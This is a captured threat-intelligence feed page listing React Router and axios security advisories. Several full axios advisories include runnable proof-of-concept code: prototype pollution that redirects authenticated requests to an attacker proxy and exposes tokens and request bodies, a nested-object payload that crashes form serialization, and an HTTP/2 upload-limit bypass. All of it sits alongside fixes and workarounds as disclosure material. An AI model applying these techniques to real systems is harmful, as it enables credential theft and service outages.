Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

62threats · React SPA· page 1/4
Get guardrails →

React Router: Unauthenticated Denial of Service via Inefficient Route Matching

This is a follow up to https://github.com/remix-run/react-router/security/advisories/GHSA-8x6r-g9mw-2r78 that covers additional reported scenarios in which the manifest endpoint could be accessed via unauthenticated targeted requests that would put heavy load on the server and slow down response times. > [!NOTE] > This only impacts Framework Mode applications. This does not impact your application if you are using Declarative or Data Mode.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

React Router: Open redirect via backslash in <Link> and useNavigate (CVE-2025-68470 bypass)

This is a follow up to CVE-2025-68470. React Router was alerted to certain scenarios in which the fix there was incomplete so there still existed some scenarios where attacker supplied paths passed to navigation mechanisms could result in unexpected external navigations.

React Router: Open redirect leading to XSS

Applications with open redirects could permit attacker crafted links to result in redirects to unexpected external location or XSS vectors.

OWASP A03OWASP Web
Get guardrail →

React Router: RSCErrorHandler Missing Protocol Validation (XSS)

This is a follow up to https://github.com/remix-run/react-router/security/advisories/GHSA-8646-j5j9-6r62. React Router was alerted of a code path in the (unstable) RSC error handling path in which redirects from untrusted sources could still result in an XSS vector via attacker-supplied redirect targets > [!NOTE] > This only affects your application if you are using the unstable RSC APIs

OWASP A03OWASP Web
Get guardrail →

React Router: Arbitrary Constructor Injection via deserializeErrors() in React Router SSR Hydration

If application code allows attacker supplied input to overwrite certain aspects of errors caught by the SSR process, then it was possible for attacker to trigger unexpected constructor execution on the client which would trigger outbound network traffic. This is only possible with very specific (and unlikely) application layer code. > [!NOTE] > This does not impact your application if you are using Declarative Mode. This only impacts Framework Mode and Data Mode applications doing manual SSR/hydration

Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

Summary Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch. Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy. The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request. This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation. Affected Functionality Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage. The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as: ``js api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); ` Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone. Technical Details lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior. lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch. lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config. lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy. Proof of Concept of Attack `js import axios from './index.js'; import http from 'node:http'; for (const key of [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]) { delete process.env[key]; } const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { targetHits.push(req.url); res.end('target'); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, authorization: req.headers.authorization, host: req.headers.host, body }); res.setHeader('content-type', 'application/json'); res.end('{"server":"proxy"}'); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = http://127.0.0.1:${target.address().port}/api/secret; const res = await api.post( url, {secret: 'request-body-secret'}, {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}} ); console.log({ response: res.data, targetHits, proxyHits, finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy') }); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ` Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body. Workarounds Set an own proxy: false on affected requests or on an axios instance when proxy support is not required. Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix. Use the Node fetch adapter for affected requests where its behavior is compatible with the application. <details> <summary>Original Report</summary> Summary Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config. Verified local impact: Authenticated request redirection to attacker-controlled proxy. Disclosure of explicit Authorization headers. Disclosure of axios-generated Basic auth headers from config.auth. Disclosure of request metadata: method, absolute URL, Host header. Disclosure of POST body content. This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext. ## Affected component The affected component is the Node.js HTTP adapter request path after request interceptors have run. The issue requires: Node.js HTTP adapter usage. A polluted Object.prototype.proxy. A request interceptor that returns a plain object copy of the config. No own proxy: false or safe own proxy property on the request config. ## Affected versions Confirmed affected for this specific hardening-bypass variant: axios@1.15.2 axios@1.16.0 axios@1.16.0 was the latest published version observed via npm view axios version during validation. Related older behavior observed during testing: 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here. ## Root cause 1. Initial hardening Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 2. Interceptor re-materialization Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 3. No post-interceptor re-hardening Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 4. Prototype-chain read of proxy in the Node adapter The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 ## Why this is a security issue and not intended behavior Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy. This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency. ## Realistic threat model A realistic exploit chain is: 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process. 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy. 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably. 4. The application sends an HTTP request with credentials or sensitive body data. 5. Axios routes that request through the inherited proxy configuration. This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor. ## Proof of concept Save as poc.mjs in the axios repository root: `js import axios from './index.js'; import http from 'node:http'; const proxyEnvKeys = [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]; for (const key of proxyEnvKeys) delete process.env[key]; const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { targetHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'target'})); }); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, host: req.headers.host || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'proxy'})); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = http://127.0.0.1:${target.address().port}/api/secret; const explicit = await api.get(url, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); proxyHits.length = 0; targetHits.length = 0; const basic = await api.get(url, { auth: {username: 'svc-account', password: 'prod-secret'} }); proxyHits.length = 0; targetHits.length = 0; const post = await api.post(url, {secret: 'request-body-secret'}, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); console.log(JSON.stringify({ explicitResponse: explicit.data, basicResponse: basic.data, postResponse: post.data, targetHits, proxyHits, finalConfigPrototype: Object.getPrototypeOf(post.config) === Object.prototype ? 'Object.prototype' : 'other', finalConfigHasOwnProxy: Object.prototype.hasOwnProperty.call(post.config, 'proxy') }, null, 2)); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ` Run: `bash npm ci node poc.mjs ` ## Observed results Representative observed output from local loopback testing: `text { "explicitResponse": {"server": "proxy"}, "basicResponse": {"server": "proxy"}, "postResponse": {"server": "proxy"}, "targetHits": [], "proxyHits": [ { "url": "http://127.0.0.1:40613/api/secret", "method": "POST", "authorization": "Bearer EXPLICIT_SECRET", "host": "127.0.0.1:40613", "body": "{\"secret\":\"request-body-secret\"}" } ], "finalConfigPrototype": "Object.prototype", "finalConfigHasOwnProxy": false } Additional validation showed axios-generated Basic auth is also disclosed to the proxy: { "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=" } `` That value decodes to: svc-account:prod-secret Negative controls were also tested: No interceptor: target receives request, proxy receives none. Interceptor mutating and returning the same config object: proxy receives none. Own proxy: false: proxy receives none. Null-prototype clone interceptor: proxy receives none. Fetch adapter in Node with the same interceptor: proxy receives none. ## Suggested remediation Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths. A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain. ## Minimal regression test Add an end-to-end Node HTTP adapter test that: 1. Starts a target server and attacker proxy on 127.0.0.1. 2. Sets Object.prototype.proxy to the attacker proxy. 3. Adds a request interceptor returning {...config, headers: {...config.headers}}. 4. Sends a request with an Authorization header. 5. Asserts the target server receives the request. 6. Asserts the attacker proxy receives no request. 7. Asserts the final config no longer exposes inherited proxy. A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy. ## References / permalinks mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199 Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144 Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135 </details>

OWASP A03LLM01 · Prompt InjectionLLM02 · Insecure OutputOWASP Web
Get guardrail →

Axios form serializer maxDepth bypass via {} metatoken

Summary Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure. An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path. Impact The impact is availability only. No confidentiality or integrity impact was confirmed. Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception. The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified. Affected Functionality Affected paths include: lib/helpers/toFormData.js when a top-level key ends with {}. lib/helpers/toURLEncodedForm.js, which delegates to helpers.defaultVisitor. lib/helpers/AxiosURLSearchParams.js, used by default params serialization. Request transforms in lib/defaults/index.js when object data is serialized as multipart/form-data or application/x-www-form-urlencoded. Unaffected paths include: Already-created FormData or URLSearchParams values that axios does not walk with toFormData. Custom paramsSerializer.serialize implementations that do not call axios toFormData. Non-{} deeply nested values in toFormData, which hit ERR_FORM_DATA_DEPTH_EXCEEDED as intended. Technical Details In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal: ``js if (value && !path && typeof value === 'object') { if (utils.endsWith(key, '{}')) { key = metaTokens ? key : key.slice(0, -2); value = JSON.stringify(value); } } ` The depth guard is in build(): `js if (depth > maxDepth) { throw new AxiosError( 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } ` For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError. Proof of Concept of Attack Safe local PoC with no network I/O: `js import toFormData from './lib/helpers/toFormData.js'; function buildDeep(depth) { const head = {}; let cur = head; for (let i = 0; i < depth; i += 1) { cur.x = {}; cur = cur.x; } return head; } try { toFormData({ 'evil{}': buildDeep(10000) }); } catch (err) { console.log(err.name, err.code || '', err.message); } // Expected affected result: // RangeError Maximum call stack size exceeded ` Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. Workarounds Reject or depth-limit untrusted objects before passing them to axios serialization. Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization. For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit. For form bodies, construct FormData or URLSearchParams manually after validating input depth. <details> <summary>Original Report</summary> Summary The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched. Details Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes: axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData Vulnerable code, lib/helpers/toFormData.js: `javascript // 156 function defaultVisitor(value, key, path) { // 165 if (value && !path && typeof value === 'object') { // 166 if (utils.endsWith(key, '{}')) { // 167 // eslint-disable-next-line no-param-reassign // 168 key = metaTokens ? key : key.slice(0, -2); // 169 // eslint-disable-next-line no-param-reassign // 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked // 171 } else if (... ` build() later does enforce maxDepth: `javascript // 211 function build(value, path, depth = 0) { // 212 if (utils.isUndefined(value)) return; // 213 // 214 if (depth > maxDepth) { // 215 throw new AxiosError( // 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, // 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED // 218 ); ` The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously. The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected. The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged: `javascript app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body attacker-controlled res.send('ok'); }); // attacker POST /forward with content-type: application/x-www-form-urlencoded // body: {"evil{}": <8000-deep object>} // -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes ` The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down. The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads: `diff if (utils.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); // Reject objects that would exceed maxDepth before handing to JSON.stringify, // which is recursive in V8 and stack-overflows on deeply nested input. (function checkDepth(v, d) { if (d > maxDepth) { throw new AxiosError( 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth, AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } if (v && typeof v === 'object') { for (const k in v) checkDepth(v[k], d + 1); } })(value, 0); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } ` (The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.) PoC Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script: `javascript import axios from './source/index.js'; function buildDeep(depth) { let head = {}; let cur = head; for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; } return head; } const malicious = buildDeep(5000); const safeAdapter = () => Promise.resolve({ data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {} }); // 1. POST x-www-form-urlencoded try { await axios.post('http://example.test/x', { 'evil{}': malicious }, { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter }); } catch (e) { console.log('POST form-encoded:', e.name, '-', e.message); } // 2. GET with params try { await axios.get('http://example.test/x', { params: { 'evil{}': malicious }, adapter: safeAdapter }); } catch (e) { console.log('GET params:', e.name, '-', e.message); } ` 3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24: ` $ node poc_jsonstringify_dos.mjs POST form-encoded: RangeError - Maximum call stack size exceeded GET params: RangeError - Maximum call stack size exceeded ` safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch. Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB. Impact A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}'` to land on the unguarded code path. </details> ---

Axios: HTTP/2 streamed uploads bypass `maxBodyLength`

Summary Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass maxBodyLength enforcement when requests are sent with httpVersion: 2. This affects applications that rely on maxBodyLength as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent. Impact An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured maxBodyLength limit. Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control. Browser adapters are not affected. Axios calls using the default unlimited maxBodyLength: -1 do not cross this specific configured-limit boundary. Affected Functionality Affected calls require all of the following: Node.js HTTP adapter. httpVersion: 2. Request data supplied as a stream. A finite maxBodyLength. Attacker-controlled or attacker-influenced stream contents. Unaffected or differently affected paths: String, Buffer, and ArrayBuffer request bodies are checked before transport selection. Browser XHR/fetch adapters are not affected. HTTP/1.1 requests using follow-redirects enforce options.maxBodyLength. In axios >=1.15.1, setting maxRedirects: 0 on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams. Technical Details In lib/adapters/http.js, axios selects http2Transport whenever httpVersion resolves to 2. The adapter still stores config.maxBodyLength on options.maxBodyLength, but Node’s HTTP/2 request API does not enforce that option. The stream-level byte-counting wrapper is currently gated on config.maxBodyLength > -1 && config.maxRedirects === 0. For HTTP/2 requests using the default redirect setting, axios does not use follow-redirects and also does not enter this wrapper, so uploadStream.pipe(req) sends the full stream. Local verification against the current v1.x checkout showed a request with maxBodyLength: 1024 successfully transmitting 2097152 bytes over HTTP/2. No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 maxRedirects: 0 path. Proof of Concept of Attack ``js import http2 from 'node:http2'; import {Readable} from 'node:stream'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http2.createServer(); server.on('stream', (stream) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({':status': 200, 'content-type': 'application/json'}); stream.end(JSON.stringify({received, limit: LIMIT})); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); function makeBody(total) { const chunk = Buffer.alloc(64 1024, 0x41); let remaining = total; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; this.push(next); } }); } try { const response = await axios.post( http://127.0.0.1:${server.address().port}/upload, makeBody(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, headers: {'content-type': 'application/octet-stream'} } ); console.log(response.data); // Vulnerable result: { received: 2097152, limit: 1024 } } finally { server.close(); } ` Workarounds For axios >=1.15.1, set maxRedirects: 0 on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path. For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid httpVersion: 2 for untrusted streamed uploads.### Summary On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium. <details> <summary>Original Report</summary> Details In lib/adapters/http.js, transport selection is unconditional for HTTP/2: http.js Lines 937-956 ` if (isHttp2) { transport = http2Transport; } else { const configTransport = own('transport'); if (configTransport) { transport = configTransport; } else if (config.maxRedirects === 0) { transport = isHttpsRequest ? https : http; isNativeTransport = true; } else { if (config.maxRedirects) { options.maxRedirects = config.maxRedirects; } const configBeforeRedirect = own('beforeRedirect'); if (configBeforeRedirect) { options.beforeRedirects.config = configBeforeRedirect; } transport = isHttpsRequest ? httpsFollow : httpFollow; } } ` maxBodyLength is then stored on the request options: http.js Lines 958-963 ` if (config.maxBodyLength > -1) { options.maxBodyLength = config.maxBodyLength; } else { // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited options.maxBodyLength = Infinity; } ` …but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0: http.js Lines 1270-1304 ` // Enforce maxBodyLength for streamed uploads on the native http/https // transport (maxRedirects === 0); follow-redirects enforces it on the // other path. let uploadStream = data; if (config.maxBodyLength > -1 && config.maxRedirects === 0) { const limit = config.maxBodyLength; let bytesSent = 0; uploadStream = stream.pipeline( [ data, new stream.Transform({ transform(chunk, _enc, cb) { bytesSent += chunk.length; if (bytesSent > limit) { return cb( new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, req ) ); } cb(null, chunk); }, }), ], utils.noop ); uploadStream.on('error', (err) => { if (!req.destroyed) req.destroy(err); }); } uploadStream.pipe(req); ` For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded. PoC ` import http2 from 'node:http2'; import { Readable } from 'node:stream'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; // Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an // http://... authority, which mirrors what axios does when the request URL // uses http:// and httpVersion: 2. const server = http2.createServer(); server.on('stream', (stream, _headers) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({ ':status': 200, 'content-type': 'application/json', }); stream.end(JSON.stringify({ received, limit: LIMIT })); }); stream.on('error', () => { / swallow client-side aborts / }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeBodyStream(totalBytes) { const CHUNK = Buffer.alloc(64 1024, 0x41); let remaining = totalBytes; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; this.push(next); }, }); } try { let result; try { const response = await axios.post(http://127.0.0.1:${port}/upload, makeBodyStream(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, // We intentionally do NOT set maxRedirects: 0 — that flag activates the // existing HTTP/1 byte-counting wrapper. The bug under test is that the // HTTP/2 transport path skips that wrapper entirely. headers: { 'content-type': 'application/octet-stream' }, // Omit content-length so the body is streamed without a known length. }); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: HTTP/2 maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( VULNERABLE: server received ${result.data.received} bytes despite + maxBodyLength=${LIMIT}. ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.'); process.exitCode = 1; } } finally { server.close(); // http2 sessions cached by axios may keep the event loop alive; force exit // after the assertion so the script returns instead of idling on TCP keep-alive. 